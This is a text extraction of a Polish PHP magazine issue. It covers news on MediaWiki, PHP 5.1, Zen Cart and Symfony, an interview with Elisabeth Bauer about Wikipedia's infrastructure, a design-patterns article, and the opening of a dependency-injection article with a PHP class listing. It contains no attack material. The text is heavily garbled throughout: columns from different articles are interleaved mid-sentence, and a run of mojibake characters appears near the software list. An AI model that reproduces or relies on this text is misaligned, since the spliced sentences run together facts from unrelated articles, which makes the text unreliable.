Professional Documents
Culture Documents
Druk: ArtDruk
Krzysztof Sobolewski
Wysokość nakładu obejmuje również dodruki. Redakcja nie udziela pomocy technicznej w instalowaniu
Felieton: PHP: Hobby, i użytkowaniu programów zamieszczonych na płytach CD-ROM dostarczonych razem z pismem.
Sprzedaż aktualnych lub archiwalnych numerów pisma po innej cenie niż wydrukowana na okładce
które przynosi zysk 80 – bez zgody wydawcy – jest działaniem na jego szkodę i skutkuje odpowiedzialnością sądową.
Recenzje książek 81
MediaWiki 1.5.3
Ukazała się nowa wersja MediaWiki, oznaczo- Spotkanie developerów PHP
na symbolem 1.5.3. Oprogramowanie pozwala
na uruchomienie encyklopedii Wikipedia na
własnej stronie WWW. Do najważniejszych
zmian można zaliczyć poprawienie krytycznego
W dniach 11 i 12 listopada odbyło
się w Paryżu spotkanie dewe-
loperów PHP, na którym omawiano
błędu bezpieczeństwa, który dotyczył modułu
odpowiedzialnego za walidację języka interfejsu zachodzące w języku zmiany oraz pró-
użytkownika. Jako że wszystkie poprzednie bowano rozwiązać wiele problemów, usunięte z PHP. Także biblioteki freety-
wersje 1.5.x są obarczone tym błędem, zaleca
się aktualizację oprogramowania. z którymi spotykają się programiści. pe 1 i GD 1 zostaną usunięte z PHP, ja-
Licencja: GPL Dyskutowano na temat nadchodzących ko przestarzałe. Funkcję dl() spotkają
http://www.mediawiki.org
wersji, a szczególnie na temat innowacji modyfikacje. Będzie ona dostępna wy-
PHP 5.1.0 w PHP6. łącznie z warstwy SAPI. Na spotkaniu
Zespół PHP ogłosił zakończenie prac nad PHP Pierwszą część spotkania po- nie zabrakło także informacji o repo-
5.1.0, co zaowocowało wypuszczeniem finalnej,
stabilnej wersji. Całkowicie przepisano w niej święcono pełnemu wparciu standardu zytorium PECL i konieczności wzboga-
kod odpowiedzialny za zarządzanie datami, Unicode w PHP6. Mówiono także cenia o nowe możliwości silnika Zend.
co skutkuje lepszą obsługą stref czasowych.
Odnotowano też znaczący wzrost wydajności
o oczyszczaniu PHP ze złych rozwią- Wszystkie rozszerzenia do obsługi baz
skryptów w stosunku do poprzednich wersji zań, takich jak register _ globals, które danych, zostaną usunięte z oficjalnej
5.0.x. Rozszerzenie PDO zakończyło fazy eks- jest przyczyną wielu problemów zwią- dystrybucji i wylądują w repozytorium
perymentalne i na stałe zagościło w dystrybucji
PHP. Język wzbogacił się o ponad 30 nowych zanych z bezpieczeństwem. Za proble- PECL. Jedyną metodą obsługi baz
funkcji, które uzupełniły dotychczasowe rozsze- matyczny uznano tryb safe _ mode, czy pozostanie PDO. Spotkanie poruszało
rzenia. Zaktualizowano PEAR do wersji 1.4.5,
a także PCRE oraz SQLite. Poprawiono ponad parametr magic _ quotes, który okazał także problematykę programowania zo-
400 różnego rodzaju bugów. się nieporęcznym narzędziem w rękach rientowanego obiektowo w PHP. Wykaz
http://www.php.net
programistów. Tryb safe _ mode rodził omawianych tematów znajduje się na
PHP 5.1.1 wiele problemów związanych z tym, witrynach php.net.
Potrzeba było zaledwie czterech dni, by opubli- które pliki może modyfikować skrypt,
kować kolejną stabilną wersję PHP, oznaczoną
symbolem 5.1.1. Ponieważ pojawił się problem a do których ma mieć zablokowany http://www.php.net/~derick/meeting-no-
konfliktu nazewnictwa z biblioteką PEAR, dostęp. Docelowo obie funkcje zostaną tes.html
z PHP wycofano natywną klasę do obsługi
daty. Poprawiono krytyczny błąd, który pojawiał
się, gdy ostatnią linią kodu w skrypcie był
komentarz PHP. W PHP 5.1.0 użycie \{$var} Zen Cart – profesjonalny sklep internetowy dla
powodowało wyświetlenie {$var} zamiast
oczekiwanego $var. Usunięto niekonsekwen-
wymagających
cję w formacie PHP_AUTH_DIGEST, która
miała miejsce pomiędzy Apache 1 a 2.
Autodesk
Z en Cart należy do najlepszych apli-
kacji sklepów internetowych. Jest łu-
dząco podobny do osCommerce, ponie-
Autodesk, firma, która znana jest przede wszyst-
waż został stworzony na jego podstawie,
kim z narzędzi do renderowania grafiki prze-
strzennej, planuje w pierwszych miesiącach tego lecz pod względem funkcjonalnym bije
roku udostępnić pełny kod swojej aplikacji Map- go na głowę. Oprogramowanie w dużej
Server Enterprise. Służy ona do generowania
i wyświetlania map geograficznych na stronach części przepisano, udoskonalając do-
WWW. Oprogramowanie umożliwi programistom tychczasowe możliwości i dodając do-
tworzenie oprogramowania opartego o PHP,
.NET i Java i przy tym efektywnie wykorzystują-
datkowe moduły. Zen Cart bazuje na
cego możliwości MapServer. Program zostanie wielu sprawdzonych aplikacjach i został
udostępniony na licencji Open Source. Pojawią
stworzony przy ścisłej współpracy z wła- zautomatyzowanymi zadaniami, takimi
się listy dyskusyjne, raportowanie błędów i możli-
wość wnoszenia własnych poprawek. ścicielami wielu rozwiązań e-commerce. jak wysyłanie potwierdzenia przyjęcia
http://www.autodesk.com Dzięki temu deweloperzy dokładnie zamówienia. Oprogramowanie wzbo-
SmileTAG wiedzieli, co sklep internetowy powinien gacono o narzędzia ułatwiające po-
Shoutbox to małe okienko umieszczane na zawierać i jak działać, aby przynosił zycjonowanie w wyszukiwarkach. Nie
stronach WWW, w którym publikowane są
wymierne korzyści. Mamy do dyspozy- zabrakło zatem narzędzia do tworzenia
minikomentarze Internautów. SmileTAG to
kompletny skrypt implementujący ten pomysł. cji instalator w postaci kreatora, dzięki przyjaznych dla użytkownika odnośni-
Zbudowano go w oparciu o system szablo- czemu instalacja przebiega wyjątkowo ków. Program obsługuje wiele języków,
nowy o dużych możliwościach, z łatwymi do
modyfikacji szablonami, wymagającymi opano- przyjemnie i bez zgrzytów. walut i schematów podatkowych. Zen
wania jedynie podstawowych tagów. Okienko Zen Cart posiada wszystko to, co Cart jest udostępniany na licencji Open
odświeża się automatycznie tylko wówczas, gdy
pojawia się nowa wiadomość (wykorzystuje do dobry sklep posiadać powinien – sze- Source. Witryna internetowa zawiera
tego technologię AJAX). Do pracy SmileTAG roki wachlarz standardowych opcji, ta- przydatne FAQ, czyli listę najczęściej
nie jest wymagana baza danych. Wszystkie
kich jak dodawanie nowych produktów zadawanych pytań, a także forum, na
informacje zapisywane są w plikach XML.
Skrypt zabezpieczono przed nadużyciami. Do i kategorii, moduły promocji, kupony którym znajdziemy wielu użytkowników
dyspozycji oddano filtr niecenzuralnych treści, rabatowe, prezenty, czy lista mailingo- tego rozwiązania.
blokadę zbyt długich i bezsensownych wypowie-
dzi, banowanie adresów IP i nicków. Ponadto wa i powiadamianie o produktach. Moż-
można wprowadzać własne emotikony. Skrypt liwe jest ustalenie specjalnych cen
obsługuje wiele języków i kontroluje strefy cza-
sowe. Rozpoznaje adresy e-mail i URL w treści. na wybrane przedmioty lub rabaty
Licencja: GPL na cały asortyment. Uwagę zwraca Licencja: GPL
http://www.smiletag.com
przyjazny panel administracyjny, ze http://www.zen-cart.com/
Destructor
OpenVZ Jeżeli brakuje nam w PHP4 funkcji destrukto-
ra klasy, to ta biblioteka powstała, by sprostać
Symfony – framework
dla wymagających
GuppY – CMS bez bazy danych
Symfony to framework stworzony dla PHP5,
który z powodzeniem znajduje zastosowa-
nie w budowie aplikacji klasy enterprise.
C MS-y niewymagające bazy danych
to stosunkowo rzadko stosowane
rozwiązania. Kiedy jednak nie mamy
Nazwany został odpowiednikiem narzędzi
Rails (framework dla języka Ruby i bazy dostępu do serwera baz danych, Gup-
MySQL-a) czy Django (framework dla Py-
thona) dla PHP. Symfony wykorzystuje wiele pY to idealne rozwiązanie: bazujący na
popularnych rozwiązań takich jak AJAX, plikach tekstowych i oferujący całkiem
przyjazne adresy URL, czy wielojęzyczność
i bazuje na sprawdzonych projektach Open wiele, porządny CMS.
Source takich jak: Propel, Creole, Mojavi, Mamy tu system newsów, komen-
Pake, PRADO, Spyc. Framework umoż-
tarzy, artykuły, dział download, FAQ,
liwia debugowanie kodu i pisanie testów
jednostkowych. Czytelny kod napisany książkę gości, sondy, listy mailingowe,
z wykorzystaniem najlepszych praktyk kalendarz, licznik, katalog odnośników
programistycznych i wzorców projektowych
czyni z Symfony bardzo elastyczne i łatwe i wiele innych charakterystycznych dla rozwiązanie dla początkującego we-
w utrzymaniu rozwiązanie. zwykłych CMS-ów funkcjonalności, w tym bmastera – postawienie witryny na ser-
Licencja: MIT/XCL
http://www.symfony-project.com wielojęzyczny interfejs. werze to przekopiowywanie plików, bez
Na uwagę zasługuje ciekawy, zbędnej zabawy z bazami danych. Na
Quickmail wewnętrzny system przesyłania wia- uwagę zasługuje też szybkość działania
Skrypt czyta wiadomości e-mail z serwera
IMAP i zwraca je w postaci dokumentów domości między użytkownikami. Gup- aplikacji stworzonej w oparciu o Gup-
RSS. Dzięki formatowi RSS, informacje mogą pY obsługuje również format RSS. pY'ego – brak bazy danych to większa
zostać obrobione i wyświetlone w przeglą-
darce, w postaci strony WWW lub obsłużone Przewidziano też specjalną, lżejszą wydajność systemu.
przez agregator RSS. Uniwersalność RSS to wersję systemu dla urządzeń przeno-
także możliwość przeglądania wiadomości za
pomocą urządzeń przenośnych, obsługują-
śnych (PDA). Instalacja nie jest trudna
cych protokół WAP. Quickmail przygotowuje – konieczne jest nadanie odpowiednich
dokumenty spełniające standardy CSS, praw dla katalogów, w których będziemy Licencja: CeCILL Free License
zgodne z RSS i WML.
Licencja: GPL przechowywać dane. GuppY to dobre http://www.freeguppy.org
http://quickmail.johanfitie.com
clsJSPHP
clsJSPHP to pomost pomiędzy PHP a Java- Google przyspiesza ładowanie stron WWW
Scriptem, pozwalający na wywoływanie funkcji
stworzonych w PHP z poziomu JavaScriptu.
Umożliwia zarówno asynchroniczne, jak i syn-
chroniczne przesyłanie danych z przeglądarki
W eb Accelerator to ciekawa propo-
zycja ze stajni Google Labs (http://
labs.google.com/), która sprawi, że stro-
do serwera, bez konieczności przeładowy-
wania strony. Korzystanie z clsJSPHP jest ny WWW będą ładowały się szybciej. ładowanie witryn. Przepuszcza zapytania
bardzo proste: wystarczy załadować główny Program działa w tle, a od użytkownika poprzez serwery Google i tworzy lokalne
skrypt korzystając ze znacznika <script src>.
Od tej chwili w JS możemy korzystać z takich niewymagane jest podejmowanie żadnych kopie często przeglądanych stron. Jeżeli
funkcji, jak jsphp_exec(), która pozwala łado- operacji. Instalacja przebiega szybko i bez- aktualna wersja strony różni się od kopii,
wać skrypty PHP (z parametrami) i ustalać
boleśnie. Po zainstalowaniu aplikacji nasza akcelerator ściąga tylko różnice między
sposób przesyłania danych. Po stronie ser-
wera korzystamy z obiektu $jsphp i możemy przeglądarka okupiona zostaje kolejnym plikami, oszczędzając na transferze da-
manipulować znajdującym się po stronie gadżetem – małym zegarkiem z czasem, nych. Akcelerator przewiduje również, jakie
klienta dokumentem HTML, m.in. ustawiając
style, atrybuty, wpisując własny kod HTML który zaoszczędziliśmy dzięki zastosowa- witryny będziemy mieli zamiar oglądać
oraz wyświetlając okienka typu Alert. niu akceleratora. Oprogramowanie pracuje i pobiera je z wyprzedzeniem. Zajmuje się
Licencja: LGPL
http://d-xp.com/clsjsphp zarówno na przeglądarkach Internet Explo- także optymalizacją pasma, zapewniając
rer 5.5+, jak i Firefox 1.0+, choć można jak najmniejsze opóźnienia, gdy łącze
phc z niego korzystać także w innych, poprzez jest silnie wykorzystywane. Zanim dane
phc to opensourcowy kompilator kodu PHP.
W założeniu ma przekształcać skrypty PHP ustawienie specjalnego, lokalnego adresu zostaną wysłane do naszego komputera,
bezpośrednio do asemblera, generując pro- proxy (127.0.0.1:9100). Program stworzo- akcelerator dba o ich kompresję, co zwięk-
gramy wykonywalne pod Linuksem. Obecna
wersja nie dokonuje jeszcze samej kompilacji, no z myślą o łączach szerokopasmowych sza prędkość transferu. Web Accelerator
ale ma wiele innych, również użytecznych – w przypadku połączeń modemowych nie pomaga w przyspieszaniu ładowania
zastosowań. Przykładowo, na bazie phc
można stworzyć obfuskator kodu PHP czy
(dial-up) nie zauważymy żadnych rewe- wszystkich stron. Pomija witryny HTTPS
narzędzia do refaktoryzacji, gdyż program lacji. Web Accelerator wykorzystuje kilka (np. strony banków internetowych) czy
szczegółowo analizuje kod skryptu i tworzy je- rozwiązań, które pozwalają przyspieszyć strony z plikami mp3 i video (video stre-
go drzewo, przypominające DOM (Document
Object Model), które można przekształcić aming).
z powrotem do natywnego kodu PHP. Inne
proponowane przez twórców phc rozwiązania,
które możemy na nim oprzeć to narzędzia do Licencja: Google
sprawdzania składni, optymalizacji skryptów http://webaccelerator.google.com/
czy tłumaczenia jednego języka programowa-
nia na drugi.
terms.html
Licencja: GPL
http://www.phpcompiler.org
XOAD
PHP Advanced Graph & Chart Collection
oraz
Programy
Macromedia Dreamwaver 8 Rozwiązania z artykułów w PHP Solutions LiveCD
MX Kollection 3 – trial version Serwer Monitor
PHP Advanced Graph & Chart Collection – niekończący się trial DataGrid
PHPShield – komercyjny encoder PHP – 30-day trial
CN-STATS i CN-SEARCH – special try-before-buy – wypróbuj w Live
SVN and CSV for Dreamweaver – evaluation version – wypróbuj w Live
QDSLVDüSRGD
á\Wą SURV]Ċ GUHV
]S FG
yZ #V
P RIW
OH Z
S URE DUH
FR
]LH P
UD S
:
O
na naszej stronie internetowej pod adresem www.phpsolmag.org/pl
Z
astosowanie MediaWiki nie jest pod różnymi nazwami, aż przybrał postać należy obecnie do 40 najpopularniejszych
ograniczone do samej Wikipedii. znanego nam obecnie silnika MediaWiki. witryn w Sieci). Stworzyliśmy na przykład
Silnik ten obsługuje również po- KS: Dlaczego wybraliście właśnie cały zestaw serwerów buforujących Squid,
krewne projekty Wiktionary (http://wiktio- PHP i MySQL? serwujących czytelnikom gotowe strony.
nary.org) i Wikibooks (http://wikibooks.org), EB: Z dwóch prostych powodów: PHP Obsługa zapytań do bazy danych MySQL
znane pod łączną nazwą Wikimedia, oraz i MySQL są darmowe i dostępne na zasa- jest rozkładana na kilka replikowanych
wiele innych serwisów. Rozmawiamy z Eli- dach open source, a poza tym korzystała serwerów, co niekiedy wiąże się z proble-
sabeth Bauer, redaktorem i administrato- z nich pierwsza osoba, która na ochotnika mami wynikającymi z opóźnień replikacji
rem niemieckiej wersji Wikipedii. Elisabeth stworzyła oprogramowanie specjalnie dla – w skrajnych sytuacjach musimy przełą-
jest również rzecznikiem prasowym Wiki- potrzeb Wikipedii. czać centralną bazę danych w tryb tylko do
media Foundation – odpowiedzialnej za KS: Wikipedię można uznać za wielki odczytu, wstrzymując tym samym wszelkie
finansowanie rozwoju i utrzymania Media- sukces technologii Apache+PHP+MySQL prace redakcyjne do czasu zaktualizowania
Wiki oraz projektów pokrewnych. (*AMP). Obecnie encyklopedia zawiera po- bazy przez wszystkie serwery replikujące.
Krzysztof Sobolewski: Jakie były po- nad milion artykułów, a ruch na serwerach W niektórych przypadkach musieliśmy się
czątki projektu MediaWiki? Co było wtedy jest bardzo duży. Jakie wady technologii rozejrzeć na innymi rozwiązaniami pro-
najważniejsze? Jakie technologie zostały AMP możesz wskazać z punktu widzenia gramowymi – na przykład uruchomiony
wykorzystane – czy od początku były to administratora? Czy aplikacje bazujące w listopadzie 2005 serwer grafiki wyko-
PHP i MySQL? na AMP mogą spro stać tak dużemu rzystuje teraz zamiast Apache’a szybszy
Elisabeth Bauer: Tak, PHP i MySQL zapotrzebowaniu i nadal pracować wydaj- serwer lighthttpd. Wyszukiwarka była cią-
były używane od samego początku. Pier- nie? Czy mieliście dotąd jakieś problemy głym źródłem problemów, do tego stopnia,
wotna wersja Wikipedii korzystała z wiki z utrzymaniem Wikipedii? Czy istnieje że przy dużym obciążeniu musieliśmy ją
Usemod, ale szybko stało się jasne, że granica, poza którą silnik MediaWiki nie rutynowo wyłączać, co oczywiście było
ten silnik nie nadaje się dla encyklopedii, będzie w stanie podołać wymaganiom? sporą niewygodą dla czytelników Wikipedii.
gdyż nie skaluje się dostatecznie dobrze. EB: W ciągu ostatnich czterech lat Z tego względu projekty Wikimedia wyko-
Niemiecki student biologii Magnus Manske mieliśmy sporo problemów i próbowaliśmy rzystują obecnie wyszukiwarkę opartą na
stworzył zatem własny CMS, wykorzystując różnych rozwiązań w celu utrzymania stałej silniku Lucene.
w tym celu PHP i MySQL. Jego system był dostępności witryny w obliczu wciąż rosną- KS: Ile macie serwerów i jak wygląda
kilkakrotnie modyfikowany i rozszerzany cego ruchu (według Alexa.com, Wikipedia zarządzanie nimi? Jakiego oprogramo-
wania używacie, poza Apachem, MySQL firmowych wiki – wiadomo nam o kilku dobrze, zwłaszcza że wszyscy rozumieją
and PHP? dużych firmach korzystających z baz wie- konieczność dbania o bezpieczeństwo
EB: W listopadzie 2005 korzystaliśmy dzy opartych na MediaWiki. Przykładem – wiele zmian jest wprowadzanych do
ze 124 serwerów w czterech miejscach: może być firma Opensuse, używająca działającego kodu Wikipedii tuż po ich
na Florydzie, w Amsterdamie, w Paryżu MediaWiki dla swojego serwisu http:// zatwierdzeniu w CVS-ie.
i w Korei Południowej. Zespołem serwerów www.opensuse.org, ale są też instytucje KS: Czy firmy są skłonne wspierać
zarządza dwóch oficjalnie zatrudnionych rządowe, organizacje pozarządowe, firmy Fundację finansowo?
pracowników i grupa administratorów- consultingowe i wiele innych (patrz http:// EB: Czasami tak – niektórzy są gotowi
ochotników. Serwery są podzielone na meta.wikimedia.org/wiki/Sites_using_Me- zapłacić za dodanie określonych funkcji,
serwery bazy danych, serwery Apa- diaWiki). Kontakt z użytkownikami Media- choć tego typu potrzeby częściej są zgła-
che i serwery buforujące Squid. Dla Wiki jest na ogół ograniczony do zgłoszeń szane przez instytucje akademickie, na
zwiększenia wydajności używany jest problemów technicznych na liście dys- przykład holenderską fundację Kennisnet.
Memcached, a za balansowanie obcią- kusyjnej. Pewnym problemem jest fakt, Inne organizacje wspierają naszą pracę
żenia odpowiada mechanizm LVS (http: że MediaWiki nie ma dokumentacji jako zezwalając swoim programistom na pomoc
//wikitech.leuksman.com/view/LVS). Do takiej, więc użytkownicy muszą tworzyć w projekcie Wikimedia w czasie wolnym
śledzenia błędów używana jest Bugzilla. własną dokumentację lub kopiować ist- lub udzielając darmowego wsparcia tech-
Poza tym korzystamy z narzędzi Mailman, niejące informacje z Wikipedii na licencji nicznego.
OTRS i kilku innych. GFD. KS: Jakie macie plany na przyszłość?
KS: Które z możliwości silnika Media- KS: MediaWiki jest wielojęzycznym Jak widzicie kierunki dalszego rozwoju Wi-
Wiki lubisz najbardziej? Które funkcje uwa- CMS-em, w którym lokalizacja treści jest kipedii zarówno od strony użytkowej, jak
żasz za kluczowe dla sukcesu Wikipedii? jednym z kluczowych elementów. Czy i technicznej? W kwestii technicznej, czy
EB: Trudne pytanie... Osobiście naj- wielojęzyczność jest wykorzystywana planujecie przejść na PHP5?
bardziej lubię możliwość definiowania w serwisach wiki innych niż Wikipedia EB: Dalszy rozwój MediaWiki będzie
własnych arkuszy stylów CSS i łączenia i projekty pokrewne? Czy silnik MediaWiki nadal zależał w dużej mierze od potrzeb
ich z funkcjami Javascriptu, co pozwala był wielojęzyczny od samego początku? Wikipedii – obecnie oznacza to przede
dowolnie dostosować styl interfejsu do kon- EB: Tak, wielojęzyczność była pod- wszystkim rozbudowę mechanizmów
kretnych potrzeb. Jednak dla sukcesu Wi- stawowym wymaganiem dla międzyna- kontroli dostępu i walidacji. Opraco-
kipedii najważniejsze były (i nadal są) nie rodowej encyklopedii. Jakiś czas temu wywane są również lepsze metody
zaawansowane funkcje silnika MediaWiki, w MediaWiki pojawiła się rewelacyjna zwalczania spamu i ataków botów, jak
tylko doskonałe wbudowane możliwości funkcja, która niepomiernie skróciła czas również mechanizm oceniania treści. Od
śledzenia zmian. Ostatnie modyfikacje, lokalizacji: możliwość edycji zlokalizo- strony technicznej, trwają prace nad We-
nowe strony, historia stron, czytelnie for- wanych komunikatów przez zaufanych bAPI pozwalającym aplikacjom bezpo-
matowane różnice między wersjami, lista użytkowników wiki. Pozwala nam to stwo- średnio korzystać z artykułów Wikipedii.
użytkowników, możliwość łatwego śledze- rzyć Wikipedię w mało znanym języku, Przejście na PHP5 jest planowane w tym
nia informacji dodawanych przez poszcze- na przykład w oksytańskim, nadać kilku tygodniu, więc w chwili publikacji tego
gólnych redaktorów – wszystkie te funkcje zaufanym użytkownikom uprawnienia ad- wywiadu Wikipedia będzie już prawdo-
są nieodzowne w procesie tworzenia wyso- ministratora i po paru tygodniach mamy podobnie korzystać z PHP5.
kiej jakości encyklopedii o otwartej filozofii zlokalizowaną wersję MediaWiki dla oksy- KS: Dziękuję za rozmowę.
redagowania. tańskiego.
KS: Poza Wikipedią i projektami KS: Ilu programistów pracuje nad pro-
pokrewnymi (na przykład Wiktionary.org jektem MediaWiki? Czy wszyscy stosują
czy Wikibooks.org), ile serwisów korzysta się do ogólnej polityki rozwoju projektu? O naszym gościu
obecnie z silnika MediaWiki? Czy ich ad- EB: Przy MediaWiki pracuje obecnie
Elisabeth Bauer jest redaktorem i admi-
ministratorzy kontaktują się z wami? około tuzina programistów, a kilku innych nistratorem niemieckiej wersji Wikipedii,
EB: Silnik MediaWiki stał się ostatnio od czasu do czasu zgłasza poprawki. a dodatkowo pełni funkcję rzecznika
jedną z popularniejszych platform dla ser- (patrz http://meta.wikimedia.org/wiki/De- prasowego Wikimedia Foundation. Jej
rola w rozwoju silnika MediaWiki polega
wisów wiki. Używa go większość znanych velopers). Większość programistów po-
na przekazywaniu informacji między
mi nowych wiki, między innymi dlatego, chodzi ze społeczności Wikimedia, ale użytkownikami a programistami. Do jej
że wiele osób już zna składnię artykułów niektórzy prowadzą też własne wiki (na obowiązków należy zarządzanie niemiec-
MediaWiki z prac nad Wikipedią. Dużą przykład Evan Prodromou, założyciel Wi- kojęzyczną dokumentacją MediaWiki,
przekazywanie programistom sugestii
zaletą jest potężna baza użytkowników, kiTravel). Proces deweloperski opiera się
użytkowników dotyczących nowych funk-
co znacznie zwiększa bezpieczeństwo na typowym dla projektów open source cji, informowanie użytkowników o proble-
– jeśli pojawia się problem, to na ogół jest modelu życzliwej dyktatury – ostateczna mach technicznych zgłaszanych przez
on szybko wykrywany w obsługującej mi- decyzja odnośnie zmian wprowadza- administratorów i sprawowanie pieczy
nad aspektami użytkowymi tworzonego
liony użytkowników Wikipedii i błyskawicz- nych do kodu produkcyjnego należy do
oprogramowania.
nie naprawiany. Silnik MediaWiki stał się głównego programisty, Briona Vibbera. Kontakt: elian@djini.de
szczególnie popularny w wewnętrznych Jak dotąd model ten sprawdza się dość
I
deę wzorców projektowych najlepiej przełożyć bezpośrednio na kod, kiedy te
oddaje zdanie: Powerful and practical drugie wyznaczają strukturę naszego kodu
solutions to common problems, czyli w skali warstw, a nie pojedynczych klas.
wydajne i praktyczne rozwiązania znanych Wzorce projektowe zawsze były do-
problemów programistycznych. meną obiektowych języków programowa-
Najprostszym przykładem wzorca mo- nia takich jak Java. Ich implementacja dla
że być włączanie tych samych plików (np. PHP3 była niemożliwa (brak modelu obiek-
header.php i footer.php) na wielu stronach towego), a PHP4 stawiało wiele ograni-
WWW. Dzięki temu, zmiany dokonane czeń, np. brak interfejsów i typowania. Na
w tych plikach będą widoczne na wszyst- szerszą skalę zaczęto je stosować dopiero
kich stronach, które z nich korzystają. w PHP5, które zapewnia bogate i w pełni
W SIECI W rzeczywistości wzorce rozwiązują dużo obiektowe środowisko aplikacyjne.
poważniejsze problemy, stanowiąc często Tym artykułem otwieramy serię po-
prawdziwe remedium dla programistów, święconą wzorcom projektowym, w której
1. http://www.zend.com/php/ a w konsekwencji zapewniając solidną, dokonamy usystematyzowania wiedzy,
design/ – projektowanie
aplikacji w PHP5
elastyczną i wydajną architekturę aplikacji.
2. http://www.developer.com/ Bardzo istotne jest odróżnienie wzorców
design/article.php/3345121 programistycznych (np. Dekorator pozwa-
Co należy wiedzieć...
– implementacja wzorców Powinieneś być zaznajomiony z progra-
projektowych w PHP5 lający na udekorowanie klasy nowymi funk- mowaniem obiektowym w PHP5
3. http://www.phptr.com/ cjonalnościami) od wzorców architektonicz-
content/images/
013147149X/downloads/ nych, zwanych też projektowymi (np. MVC Co obiecujemy...
Poznasz najważniejsze wzorce projekto-
013147149X_book.pdf mówiący o tym, że aplikację należy dzielić
– znakomita książka PHP5 we i ich praktyczne wykorzystanie w bu-
Power Programming w wer-
na trzy lub cztery warstwy: prezentację, dowie frameworka
sji PDF logikę/serwisy i dane). Pierwsze dają się
dodatkowo do wyboru:
& programPHPRunner o wartości 199$
& pakiet Xtreeme SiteXpert firmy Xtreeme
& dwa dowolne numery archiwalne PHP Solutions
& roczny abonament na Usługę Business Starter
& jedna z czterech książek z Wydawnictw Naukowo-Technicznych
& pakiet internetowy nQ.Biznes firmy Netlink o wartości 486,70 zł
& Maguma Workbench Core
Podsumowanie
Przedstawione przykłady stanowią solidne i potrzebne
wprowadzenie do problematyki wzorców projektowych.
Opisaliśmy jeden wzorzec architektoniczny i trzy niskopo-
ziomowe wzorce projektowe. Zobaczyliśmy, jak elastyczne
rozwiązania możemy osiągnąć. Stawiając kolejne wyma-
gania funkcjonalne doszliśmy do najelastyczniejszego
rozwiązania. Gdyby każdy z Was spędził trochę czasu nad
przedstawionym fragmentem frameworka, z dużym praw-
dopodobieństwem samodzielnie odkryłby przedstawione
wzorce projektowe. To ważna cecha dobrego i szeroko
akceptowanego wzorca.
Zaprezentowane przez nas wzorce zostały tak dobrane,
by skupić się na jednym, niewielkim wycinku frameworka.
Oczywiście nie jest sztuką wykorzystanie jak największej
liczby wzorców projektowych w danym fragmencie kodu.
Prawdziwym wyzwaniem jest zidentyfikowanie i użycie tylko
tych wzorców, które wprowadzają elastyczność w tym frag-
mencie aplikacji, w którym jej potrzebujemy.
Budowany framework to idealny poligon doświadczalny,
na którym zaprezentujemy wiele pożytecznych, sprawdzo-
nych w praktyce wzorców projektowych i architektonicznych.
Dalsze ćwiczenia w następnym numerze PHP Solutions.
O autorach
Paweł Kozłowski jest pracownikiem SUPERMEDIA, gdzie
od roku 2000 projektuje i tworzy złożone aplikacje WWW
w PHP. Obecnie zajmuje się rozwijaniem frameworków
i bibliotek ORM opartych na PHP5. Jest autorem portu Pico-
Container dla PHP5 i wielu publikacji poświęconych PHP.
Kontakt z autorem: pkozlowski@phpsolmag.org.
Obiektowa linia
montażowa, czyli przejrzyste
i elastyczne aplikacje w PHP5
Stopień trudności:
Paweł Kozłowski
P
rogramowanie obiektowe na do- Unit testing). Z kolei zbyt luźne powiąza-
bre zagościło już w środowisku nia to udręka podczas pisania aplikacji
PHP. Coraz lepiej poznajemy – w którymś momencie musimy przecież
i rozumiemy zasady rządzące konstru- poskładać poszczególne elementy w jedną
owaniem zorientowanych obiektowo apli- całość. Prześledźmy więc na przykładach
kacji. Dbamy, by obiekty danej klasy miały możliwe sposoby tworzenia powiązań
jedno, ściśle określone zadanie (ang. High pomiędzy obiektami, oraz przeanalizujmy
cohension), a powiązania pomiędzy róż- wady i zalety poszczególnych rozwiązań.
nymi obiektami były możliwie luźne (ang. Aby nasza dyskusja była bardziej ob-
Low coupling). Taki styl programowania razowa, wyobrazimy sobie, że budujemy
w naturalny sposób prowadzi do po- aplikację typu forum dyskusyjne. Naszym
wstania bardziej czytelnych, łatwiejszych zadaniem jest zaprojektowanie takiej
w utrzymaniu programów. architektury, by forum można było łatwo
Niektóre z zależności pomiędzy dostosować do współpracy z istniejącymi
obiektami mają szczególny wpływ na ar- już bazami, zawierającymi dane użytkow-
chitekturę programu – dotyczy to obiektów
powiązanych z infrastrukturą: bazą danych,
Co należy wiedzieć...
sposobem wysyłki e-mail itp. Jeśli zbyt sil- Powinieneś mieć podstawową wiedzę
W SIECI nie połączymy naszą aplikację z infrastruk- z zakresu wzorców projektowych.
turą, bardzo trudno będzie nam zmienić np. Co obiecujemy...
bibliotekę obsługującą DB (ważne z punktu Z artykułu dowiesz się, jak zbudować
1. http://www.martinfowler.com/ widzenia PDO) czy rozwiązanie ORM. Co solidną, elastyczną i przejrzystą obiekto-
articles/injection.html wą aplikacją z wykorzystaniem wzorców
2. http://www.picocontainer.org/ więcej, takie silne powiązania bardzo utrud-
projektowych.
Ports nią tworzenie testów jednostkowych (ang.
ników. Dodatkowo chcielibyśmy możliwie ale zastosowane rozwiązanie ma dwie bem przechowywania danych użytkowni-
łatwo dodać pełen zestaw testów jednost- poważne wady. ków (UserDAO). Ścisły związek obiektów
kowych. Po pierwsze, obiekty UserService są tych dwóch klas oznacza, że nie uda się
Rysunek 1 zawiera UML-owy model na stałe powiązane z konkretnym sposo- w naszym fikcyjnym forum zastosować in-
klas dla fragmentu systemu odpowie-
dzialnego za zarządzanie użytkownikami. Listing 1. Klasy dla modelu UML zaprezentowanego na Rysunku 1
Nasz przykładowy moduł zbudowany jest
według wszelkich reguł sztuki i ma ściśle <?php
wyodrębnioną warstwę biznesową (klasy class User {
private $_login;
UserService, User, UserExistsException)
private $_password;
oraz warstwę dostępu do danych (User- private $_firstName;
DAO, DBConnection). Aby przykład był private $_lastName;
bardziej czytelny, nie rozważamy warstwy public function __construct($login, $password, $firstName, $lastName){
widoku i kontrolera z MVC (kontroler bez- $this->_login = $login;
$this->_password = $password;
pośrednio wywołuje metody na obiekcie
$this->_firstName = $firstName;
UserService). $this->_lastName = $lastName;
Jeden rzut oka na przedstawiony }
schemat wystarczy by stwierdzić, że na- public function getLogin(){return $this->_login;}
wet w tak prostym module, składającym public function getPassword(){return $this->_password;}
public function getFirstName(){return $this->_firstName;}
się z zaledwie pięciu obiektów, istnieje
public function getLastName(){return $this->_lastName;}
wiele wzajemnych powiązań. Dla nas }
najistotniejsza jest zależność pomiędzy class UserExistsException extends Exception {
obiektami klas UserService i UserDAO: de- private $_existingLoginName;
cyduje ona o tym, jak łatwo będzie moż- public function __construct($existingLoginName){
$this->_existingLoginName = $existingLoginName;
na podmienić miejsce przechowywania
}
